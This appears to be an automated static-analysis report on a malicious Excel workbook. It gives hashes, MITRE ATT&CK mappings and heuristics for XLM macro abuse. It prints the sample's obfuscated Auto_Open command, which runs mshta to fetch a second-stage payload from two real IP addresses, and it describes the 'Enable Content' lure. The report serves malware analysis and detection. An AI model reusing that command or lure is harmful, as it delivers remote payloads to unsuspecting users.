Malicious Office (OLE) / .XLSX — malware analysis report

Static analysis result for SHA-256 ffe92f7aaf260898…

MALICIOUS

Office (OLE) / .XLSX

65.5 KB Created: 2021-12-16 23:53:43 Authoring application: Microsoft Excel
MD5: caf26e994d309011dcc30297a0669340 SHA-1: 47fca516e5cb2ccdd329555fdc5dbaf0db261e09 SHA-256: ffe92f7aaf260898f3df88606385aa7439c7398c65f9a1e559e3b8fe2057a026
108 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: User Execution T1059.005 Command and Scripting Interpreter: Visual Basic T1059.003 Command and Scripting Interpreter: Windows Command Shell

The sample is an Excel file containing Excel 4.0 (XLM) macros. It uses an Auto_Open macro to execute a command. The command reconstructs to 'cmd /c m^sh^t^a h^tt^p^:/^/87.251.85.100/oo/oo.html' or 'cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/bb.html', which downloads a second-stage payload from the specified URL. The document body explicitly instructs the user to 'Enable Editing' and 'Enable Content', a common lure for macro-enabled malware.

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • VBA project contains no executable statements low OLE_VBA_MACROS
    Document contains a VBA project, but extracted modules only contain attributes/options/comments and no executable statements.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
de81f8962b42018d50fc3f858c62f78dac7c27a8d9c6bc0ba2b69c5b8c8e6d84
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1240 bytes
macros.bas
faef16cfc3b69e6dacc60198a7ccc61c4bb61c8632529929cd74db2189ccdc82
vba-macro oletools.olevba.extract_macros (decoded VBA source) 906 bytes